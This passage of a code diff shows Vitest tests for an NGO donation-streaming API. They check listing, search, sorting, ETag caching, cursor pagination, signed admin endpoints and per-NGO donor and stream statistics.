expect(secondBody.donors).toHaveLength(1); - expect(secondBody.nextCursor).toBeNull(); - - const totals = new Map( - [...firstBody.donors, ...secondBody.donors].map( - (donor: { id: string; totalCommitted: string }) => [donor.id, donor.totalCommitted], - ), - ); - expect(totals).toEqual( - new Map([ - [donors[0].id, '70'], - [donors[1].id, '35'], - [donors[2].id, '10'], - ]), - ); - - await app.close(); - }); - - it('returns an ETag and 304 for a matching If-None-Match header', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('V'), name: 'Cached NGO', verified: true }, - }); - const url = `/v1/ngos/${ngo.id}/donors`; - - const first = await app.inject({ method: 'GET', url }); - const etag = first.headers.etag; - expect(etag).toBeDefined(); - expect(first.headers['cache-control']).toContain('max-age=30'); - - const cached = await app.inject({ - method: 'GET', - url, - headers: { 'if-none-match': String(etag) }, - }); - expect(cached.statusCode).toBe(304); - expect(cached.body).toBe(''); - expect(cached.headers.etag).toBe(etag); - - await app.close(); - }); - - it('returns 404 for an unknown NGO', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/ngos/00000000-0000-0000-0000-000000000000/donors', - }); - - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - await app.close(); - }); - - it('returns 400 for an unknown cursor (non-existent donor ID)', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'Test NGO', verified: true }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('O') } }); - await prisma.stream.create({ - data: { - onChainId: 15n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('P'), - rate: '1', - balance: '100', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - - const unknownCursor = 'ffffffff-ffff-4fff-bfff-ffffffffffff'; - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/${ngo.id}/donors?cursor=${unknownCursor}`, - }); - - // Unknown cursor results in empty list (Prisma cursor skip behavior) - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.donors).toEqual([]); - expect(body.nextCursor).toBeNull(); - - await app.close(); - }); - - it('handles limit of 1 and paginates correctly', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('Q'), name: 'Single Limit NGO', verified: true }, - }); - const donors = await Promise.all( - ['R', 'S'].map((char) => prisma.donor.create({ data: { address: fakeAddress(char) } })), - ); - - await prisma.stream.createMany({ - data: [ - { - onChainId: 16n, - donorId: donors[0].id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '50', - withdrawn: '0', - status: 'ACTIVE', - }, - { - onChainId: 17n, - donorId: donors[1].id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '75', - withdrawn: '0', - status: 'ACTIVE', - }, - ], - }); - - const first = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}/donors?limit=1` }); - expect(first.statusCode).toBe(200); - const firstBody = first.json(); - expect(firstBody.donors).toHaveLength(1); - expect(firstBody.nextCursor).not.toBeNull(); - - const second = await app.inject({ - method: 'GET', - url: `/v1/ngos/${ngo.id}/donors?limit=1&cursor=${firstBody.nextCursor}`, - }); - expect(second.statusCode).toBe(200); - const secondBody = second.json(); - expect(secondBody.donors).toHaveLength(1); - expect(secondBody.nextCursor).toBeNull(); - - await app.close(); - }); - - it('returns null nextCursor on the last page', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('U'), name: 'Last Page NGO', verified: true }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('V') } }); - await prisma.stream.create({ - data: { - onChainId: 18n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('W'), - rate: '1', - balance: '200', - withdrawn: '50', - status: 'ACTIVE', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/${ngo.id}/donors?limit=10`, - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.donors).toHaveLength(1); - expect(body.nextCursor).toBeNull(); - - await app.close(); - }); - - it('returns empty list with null nextCursor for an NGO with no donors', async () => { - const app = buildServer(); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('X'), name: 'No Donors NGO', verified: true }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngos/${ngo.id}/donors`, - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.donors).toEqual([]); - expect(body.nextCursor).toBeNull(); - - await app.close(); - }); -}); - - -describe('PATCH /admin/ngos/:id', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - await resetDb(); - }); - - it('requires admin auth and rejects an unsigned request with 401', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'Green Earth', verified: true }, - }); - - const response = await app.inject({ - method: 'PATCH', - url: `/admin/ngos/${ngo.id}`, - payload: { displayName: 'Updated Name' }, - }); - - expect(response.statusCode).toBe(401); - - await app.close(); - }); - - it('returns 404 for an unknown NGO id', async () => { - const app = buildServer(); - - const unknownId = '00000000-0000-0000-0000-000000000000'; - const url = `/admin/ngos/${unknownId}`; - const headers = signAdminRequest(adminKeypair, 'PATCH', url); - - const response = await app.inject({ - method: 'PATCH', - url, - headers, - payload: { displayName: 'Updated Name' }, - }); - - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - - await app.close(); - }); - - it('returns 400 for a malformed (non-UUID) id', async () => { - const app = buildServer(); - - const url = '/admin/ngos/not-a-valid-uuid'; - const headers = signAdminRequest(adminKeypair, 'PATCH', url); - - const response = await app.inject({ - method: 'PATCH', - url, - headers, - payload: { displayName: 'Updated Name' }, - }); - - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - - await app.close(); - }); - - it('applies a displayName override to an NGO', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Original Name', verified: true }, - }); - - const url = `/admin/ngos/${ngo.id}`; - const headers = signAdminRequest(adminKeypair, 'PATCH', url); - - const response = await app.inject({ - method: 'PATCH', - url, - headers, - payload: { displayName: 'Curated Public Name' }, - }); - - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.id).toBe(ngo.id); - expect(body.name).toBe('Curated Public Name'); - expect(body.displayName).toBe('Curated Public Name'); - - // Verify it was persisted - const updated = await prisma.ngo.findUnique({ where: { id: ngo.id } }); - expect(updated?.displayName).toBe('Curated Public Name'); - expect(updated?.name).toBe('Original Name'); // Original name unchanged - - await app.close(); - }); - - it('clears a displayName override when set to null', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('C'), - name: 'Original Name', - displayName: 'Previous Override', - verified: true, - }, - }); - - const url = `/admin/ngos/${ngo.id}`; - const headers = signAdminRequest(adminKeypair, 'PATCH', url); - - const response = await app.inject({ - method: 'PATCH', - url, - headers, - payload: { displayName: null }, - }); - - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.id).toBe(ngo.id); - expect(body.name).toBe('Original Name'); // Falls back to original name - expect(body.displayName).toBeNull(); - - // Verify it was persisted - const updated = await prisma.ngo.findUnique({ where: { id: ngo.id } }); - expect(updated?.displayName).toBeNull(); - expect(updated?.name).toBe('Original Name'); - - await app.close(); - }); - - it('returns 400 for an invalid request body', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('D'), name: 'Test NGO', verified: true }, - }); - - const url = `/admin/ngos/${ngo.id}`; - const headers = signAdminRequest(adminKeypair, 'PATCH', url); - - const response = await app.inject({ - method: 'PATCH', - url, - headers, - payload: { displayName: 123 }, // Invalid: should be string or null - }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_request'); - - await app.close(); - }); -}); +import { Keypair } from '@stellar/stellar-sdk'; +import { afterEach, beforeAll, describe, expect, it } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { buildServer } from '../../src/server.js'; +import { signAdminRequest } from '../helpers/adminAuth.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; + +const adminKeypair = Keypair.random(); + +describe('GET /v1/ngos', () => { + afterEach(async () => { + await resetDb(); + }); + + it('returns only verified NGOs, newest first', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.ngos).toHaveLength(1); + expect(body.ngos[0].name).toBe('Verified NGO'); + expect(body.ngos.map((ngo: { name: string }) => ngo.name)).not.toContain('Unverified NGO'); + expect(body.nextCursor).toBeNull(); + + await app.close(); + }); + + it("returns an NGO's displayName as its public name", async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('C'), + name: 'On-chain name', + displayName: 'Curated name', + verified: true, + }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos' }); + expect(response.statusCode).toBe(200); + expect(response.json().ngos[0].name).toBe('Curated name'); + + await app.close(); + }); + + it('returns an ETag and responds 304 when the client has the current representation', async () => { + const app = buildServer(); + + const firstResponse = await app.inject({ method: 'GET', url: '/v1/ngos' }); + const etag = firstResponse.headers.etag; + expect(etag).toBeDefined(); + expect(firstResponse.headers['cache-control']).toContain('public'); + + const cachedResponse = await app.inject({ + method: 'GET', + url: '/v1/ngos', + headers: { 'if-none-match': String(etag) }, + }); + + expect(cachedResponse.statusCode).toBe(304); + expect(cachedResponse.body).toBe(''); + expect(cachedResponse.headers.etag).toBe(etag); + + await app.close(); + }); + + it('paginates with cursor and returns no overlap between pages', async () => { + const app = buildServer(); + + // Create 3 verified NGOs — oldest first so createdAt desc gives C, B, A. + for (const char of ['A', 'B', 'C']) { + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress(char), name: `NGO ${char}`, verified: true }, + }); + } + + const firstPage = await app.inject({ method: 'GET', url: '/v1/ngos?limit=2' }); + expect(firstPage.statusCode).toBe(200); + const firstBody = firstPage.json(); + expect(firstBody.ngos).toHaveLength(2); + expect(firstBody.nextCursor).not.toBeNull(); + const firstIds = firstBody.ngos.map((n: { id: string }) => n.id); + + const secondPage = await app.inject({ + method: 'GET', + url: `/v1/ngos?limit=2&cursor=${firstBody.nextCursor}`, + }); + expect(secondPage.statusCode).toBe(200); + const secondBody = secondPage.json(); + expect(secondBody.ngos).toHaveLength(1); + expect(secondBody.nextCursor).toBeNull(); + + // No overlap between pages. + const secondIds = secondBody.ngos.map((n: { id: string }) => n.id); + expect(secondIds.some((id: string) => firstIds.includes(id))).toBe(false); + + await app.close(); + }); + it('returns NGOs oldest first when sort=oldest', async () => { + const app = buildServer(); + + for (const char of ['A', 'B', 'C']) { + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress(char), name: `NGO ${char}`, verified: true }, + }); + } + + const response = await app.inject({ method: 'GET', url: '/v1/ngos?sort=oldest' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + const names = body.ngos.map((n: { name: string }) => n.name); + expect(names).toEqual(['NGO A', 'NGO B', 'NGO C']); + + await app.close(); + }); + + it('returns NGOs alphabetically when sort=name', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('C'), + name: 'Zeta NGO', + displayName: 'Alpha NGO', + verified: true, + }, + }); + await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('A'), + name: 'Alpha NGO', + displayName: 'Zulu NGO', + verified: true, + }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Midway NGO', verified: true }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos?sort=name' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + const names = body.ngos.map((n: { name: string }) => n.name); + expect(names).toEqual(['Alpha NGO', 'Midway NGO', 'Zulu NGO']); + + await app.close(); + }); + + it('400s on an unknown sort value', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos?sort=invalid' }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('filters by name when q is provided (case-insensitive)', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Save The Oceans', verified: true }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Plant A Tree', verified: true }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('C'), name: 'Ocean Cleanup Fund', verified: true }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos?q=ocean' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + const names: string[] = body.ngos.map((n: { name: string }) => n.name); + expect(names).toContain('Save The Oceans'); + expect(names).toContain('Ocean Cleanup Fund'); + expect(names).not.toContain('Plant A Tree'); + + await app.close(); + }); + + it('searches the public displayName instead of a replaced on-chain name', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('D'), + name: 'Hidden On-chain Name', + displayName: 'Visible Public Name', + verified: true, + }, + }); + + const visible = await app.inject({ method: 'GET', url: '/v1/ngos?q=public' }); + expect(visible.json().ngos.map((ngo: { name: string }) => ngo.name)).toEqual([ + 'Visible Public Name', + ]); + + const hidden = await app.inject({ method: 'GET', url: '/v1/ngos?q=hidden' }); + expect(hidden.json().ngos).toHaveLength(0); + + await app.close(); + }); + + it('returns empty list when q matches nothing', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Green Earth', verified: true }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos?q=zzznomatch' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.ngos).toHaveLength(0); + + await app.close(); + }); + + it('400s when q exceeds 100 characters', async () => { + const app = buildServer(); + + const longQ = 'a'.repeat(101); + const response = await app.inject({ method: 'GET', url: `/v1/ngos?q=${longQ}` }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); +}); + +describe('GET /ngos/all (admin)', () => { + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + await resetDb(); + }); + + it('rejects an unsigned request with 401', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Verified NGO', verified: true }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos/all' }); + expect(response.statusCode).toBe(401); + + await app.close(); + }); + + it('includes unverified NGOs for a correctly signed admin request', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, + }); + + const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngos/all'); + const response = await app.inject({ method: 'GET', url: '/v1/ngos/all', headers }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + const names = body.ngos.map((n: { name: string }) => n.name).sort(); + expect(names).toEqual(['Unverified NGO', 'Verified NGO']); + + const unverified = body.ngos.find((n: { verified: boolean }) => !n.verified); + expect(unverified.name).toBe('Unverified NGO'); + expect(unverified.ownerAddress).toBe(fakeAddress('A')); + + await app.close(); + }); + + it('returns only unverified NGOs with ?verified=false', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, + }); + + const url = '/v1/ngos/all?verified=false'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.ngos).toHaveLength(1); + expect(body.ngos[0].name).toBe('Unverified NGO'); + expect(body.ngos[0].verified).toBe(false); + + await app.close(); + }); + + it('returns only verified NGOs with ?verified=true', async () => { + const app = buildServer(); + + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Unverified NGO', verified: false }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Verified NGO', verified: true }, + }); + + const url = '/v1/ngos/all?verified=true'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.ngos).toHaveLength(1); + expect(body.ngos[0].name).toBe('Verified NGO'); + expect(body.ngos[0].verified).toBe(true); + + await app.close(); + }); + + it('400s on an invalid verified value', async () => { + const app = buildServer(); + + const url = '/v1/ngos/all?verified=maybe'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('paginates with cursor and returns no overlap between pages', async () => { + const app = buildServer(); + + // Create 3 NGOs — oldest first so createdAt desc gives C, B, A. + for (const char of ['A', 'B', 'C']) { + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress(char), name: `NGO ${char}`, verified: false }, + }); + } + + const firstUrl = '/v1/ngos/all?limit=2'; + const firstHeaders = signAdminRequest(adminKeypair, 'GET', firstUrl); + const firstPage = await app.inject({ method: 'GET', url: firstUrl, headers: firstHeaders }); + expect(firstPage.statusCode).toBe(200); + + const firstBody = firstPage.json(); + expect(firstBody.ngos).toHaveLength(2); + expect(firstBody.nextCursor).not.toBeNull(); + const firstIds = firstBody.ngos.map((n: { id: string }) => n.id); + + const secondUrl = `/v1/ngos/all?limit=2&cursor=${firstBody.nextCursor}`; + const secondHeaders = signAdminRequest(adminKeypair, 'GET', secondUrl); + const secondPage = await app.inject({ method: 'GET', url: secondUrl, headers: secondHeaders }); + expect(secondPage.statusCode).toBe(200); + + const secondBody = secondPage.json(); + expect(secondBody.ngos).toHaveLength(1); + expect(secondBody.nextCursor).toBeNull(); + + // No overlap between pages. + const secondIds = secondBody.ngos.map((n: { id: string }) => n.id); + expect(secondIds.some((id: string) => firstIds.includes(id))).toBe(false); + + await app.close(); + }); +}); + +describe('GET /ngos/lookup', () => { + afterEach(async () => { + await resetDb(); + }); + + it('finds the NGO matching the given address', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('A'), + name: 'Impact NGO', + displayName: 'Community Impact', + verified: true, + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/lookup?address=${ngo.ownerAddress}`, + }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.id).toBe(ngo.id); + expect(body.name).toBe('Community Impact'); + + await app.close(); + }); + + it('returns an unverified NGO matching the given address', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('A'), + name: 'Unverified Impact NGO', + verified: false, + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/lookup?address=${ngo.ownerAddress}`, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ + id: ngo.id, + ownerAddress: ngo.ownerAddress, + verified: false, + }); + + await app.close(); + }); + + it('404s when no NGO matches the address', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/lookup?address=${fakeAddress('Z')}`, + }); + expect(response.statusCode).toBe(404); + + await app.close(); + }); + + it('400s on a malformed address instead of matching nothing silently', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos/lookup?address=not-an-address' }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); +}); + +describe('GET /v1/ngos/:id', () => { + afterEach(async () => { + await resetDb(); + }); + + it('404s for an id that does not exist', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/ngos/00000000-0000-0000-0000-000000000000', + }); + expect(response.statusCode).toBe(404); + + await app.close(); + }); + + it('400s for a non-uuid id instead of leaking a Prisma error', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/ngos/not-a-uuid' }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('returns an unverified NGO by id', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('C'), + name: 'Unverified Impact NGO', + verified: false, + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ + id: ngo.id, + ownerAddress: ngo.ownerAddress, + verified: false, + }); + + await app.close(); + }); + + it("computes stats from the NGO's streams", async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('C'), + name: 'Impact NGO', + displayName: 'Community Impact', + verified: true, + }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('D') } }); + + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('E'), + rate: '10', + balance: '400', + withdrawn: '600', + status: 'ACTIVE', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.name).toBe('Community Impact'); + expect(body.stats.totalCommitted).toBe('1000'); + expect(body.stats.totalWithdrawn).toBe('600'); + expect(body.stats.activeStreamCount).toBe(1); + expect(body.stats.donorCount).toBe(1); + + await app.close(); + }); + + it('computes stats correctly with a cancelled stream', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('H'), name: 'Mixed Streams NGO', verified: true }, + }); + const activeDonor = await prisma.donor.create({ data: { address: fakeAddress('I') } }); + const cancelledDonor = await prisma.donor.create({ data: { address: fakeAddress('J') } }); + + await prisma.stream.createMany({ + data: [ + { + onChainId: 2n, + donorId: activeDonor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('K'), + rate: '10', + balance: '400', + withdrawn: '600', + status: 'ACTIVE', + }, + { + onChainId: 3n, + donorId: cancelledDonor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('L'), + rate: '10', + balance: '0', + withdrawn: '200', + status: 'CANCELLED', + }, + ], + }); + + const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.stats.totalCommitted).toBe('1200'); + expect(body.stats.committedByToken).toEqual([ + { tokenAddress: fakeAddress('K'), amount: '1000' }, + { tokenAddress: fakeAddress('L'), amount: '200' }, + ]); + expect(body.stats.totalWithdrawn).toBe('800'); + expect(body.stats.activeStreamCount).toBe(1); + expect(body.stats.donorCount).toBe(2); + + await app.close(); + }); + + it('aggregates large stream histories and returns only a bounded recent page', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('M'), name: 'High Volume NGO', verified: true }, + }); + const donors = await Promise.all( + Array.from({ length: 12 }, (_, index) => + prisma.donor.create({ data: { address: fakeAddress(String.fromCharCode(65 + index)) } }), + ), + ); + const createdAt = new Date('2026-01-01T00:00:00Z'); + + await prisma.stream.createMany({ + data: donors.map((donor, index) => ({ + onChainId: BigInt(100 + index), + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('N'), + rate: '1', + balance: index < 3 ? '0' : '100', + withdrawn: '10', + status: index < 3 ? 'CANCELLED' : 'ACTIVE', + createdAt: new Date(createdAt.getTime() + index * 1_000), + })), + }); + + const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.stats.totalCommitted).toBe('1020'); + expect(body.stats.totalWithdrawn).toBe('120'); + expect(body.stats.activeStreamCount).toBe(9); + expect(body.stats.donorCount).toBe(12); + expect(body.recentStreams).toHaveLength(10); + expect(body.recentStreams[0].onChainId).toBe('111'); + expect(body.recentStreamsNextCursor).toBe(body.recentStreams.at(-1).id); + + await app.close(); + }); + + it('includes description, website and country from the approved application', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('F'), name: 'Green NGO', verified: true }, + }); + await prisma.ngoApplication.create({ + data: { + ownerAddress: ngo.ownerAddress, + name: ngo.name, + description: 'Saving trees everywhere.', + website: 'https://green.example', + contactEmail: 'secret@green.example', + country: 'Brazil', + status: 'APPROVED', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.description).toBe('Saving trees everywhere.'); + expect(body.website).toBe('https://green.example'); + expect(body.country).toBe('Brazil'); + expect(body.contactEmail).toBeUndefined(); + expect(body.reviewNote).toBeUndefined(); + + await app.close(); + }); + + it('returns null description/website/country when there is no approved application', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('G'), name: 'Pending NGO', verified: false }, + }); + await prisma.ngoApplication.create({ + data: { + ownerAddress: ngo.ownerAddress, + name: ngo.name, + description: 'Still under review.', + contactEmail: 'hi@pending.example', + status: 'PENDING', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.description).toBeNull(); + expect(body.website).toBeNull(); + expect(body.country).toBeNull(); + + await app.close(); + }); +}); + +describe('GET /v1/ngos/:id/donors', () => { + afterEach(async () => { + await resetDb(); + }); + + it('returns distinct donors with per-NGO committed totals and paginates them', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('H'), name: 'Food Fund', verified: true }, + }); + const otherNgo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('I'), name: 'Other Fund', verified: true }, + }); + const donors = await Promise.all( + ['J', 'K', 'L'].map((char) => + prisma.donor.create({ data: { address: fakeAddress(char) } }), + ), + ); + + await prisma.stream.createMany({ + data: [ + { + onChainId: 10n, + donorId: donors[0].id, + ngoId: ngo.id, + tokenAddress: fakeAddress('M'), + rate: '1', + balance: '40', + withdrawn: '10', + status: 'ACTIVE', + }, + { + onChainId: 11n, + donorId: donors[0].id, + ngoId: ngo.id, + tokenAddress: fakeAddress('M'), + rate: '1', + balance: '999', + withdrawn: '20', + status: 'CANCELLED', + }, + { + onChainId: 12n, + donorId: donors[1].id, + ngoId: ngo.id, + tokenAddress: fakeAddress('M'), + rate: '1', + balance: '30', + withdrawn: '5', + status: 'ACTIVE', + }, + { + onChainId: 13n, + donorId: donors[2].id, + ngoId: ngo.id, + tokenAddress: fakeAddress('M'), + rate: '1', + balance: '7', + withdrawn: '3', + status: 'ACTIVE', + }, + { + onChainId: 14n, + donorId: donors[0].id, + ngoId: otherNgo.id, + tokenAddress: fakeAddress('M'), + rate: '1', + balance: '1000', + withdrawn: '0', + status: 'ACTIVE', + }, + ], + }); + + const first = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}/donors?limit=2` }); + expect(first.statusCode).toBe(200); + const firstBody = first.json(); + expect(firstBody.donors).toHaveLength(2); + expect(firstBody.nextCursor).not.toBeNull(); + + const second = await app.inject({ + method: 'GET', + url: `/v1/ngos/${ngo.id}/donors?limit=2&cursor=${firstBody.nextCursor}`, + }); + expect(second.statusCode).toBe(200); + const secondBody = second.json(); + expect(secondBody.donors).toHaveLength(1); + expect(secondBody.nextCursor).toBeNull(); + + const totals = new Map( + [...firstBody.donors, ...secondBody.donors].map( + (donor: { id: string; totalCommitted: string }) => [donor.id, donor.totalCommitted], + ), + ); + expect(totals).toEqual( + new Map([ + [donors[0].id, '70'], + [donors[1].id, '35'], + [donors[2].id, '10'], + ]), + ); + + await app.close(); + }); + + it('returns an ETag and 304 for a matching If-None-Match header', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('V'), name: 'Cached NGO', verified: true }, + }); + const url = `/v1/ngos/${ngo.id}/donors`; + + const first = await app.inject({ method: 'GET', url }); + const etag = first.headers.etag; + expect(etag).toBeDefined(); + expect(first.headers['cache-control']).toContain('max-age=30'); + + const cached = await app.inject({ + method: 'GET', + url, + headers: { 'if-none-match': String(etag) }, + }); + expect(cached.statusCode).toBe(304); + expect(cached.body).toBe(''); + expect(cached.headers.etag).toBe(etag); + + await app.close(); + }); + + it('returns 404 for an unknown NGO', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/ngos/00000000-0000-0000-0000-000000000000/donors', + }); + + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + await app.close(); + }); + + it('returns 400 for an unknown cursor (non-existent donor ID)', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'Test NGO', verified: true }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('O') } }); + await prisma.stream.create({ + data: { + onChainId: 15n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('P'), + rate: '1', + balance: '100', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + + const unknownCursor = 'ffffffff-ffff-4fff-bfff-ffffffffffff'; + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/${ngo.id}/donors?cursor=${unknownCursor}`, + }); + + // Unknown cursor results in empty list (Prisma cursor skip behavior) + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.donors).toEqual([]); + expect(body.nextCursor).toBeNull(); + + await app.close(); + }); 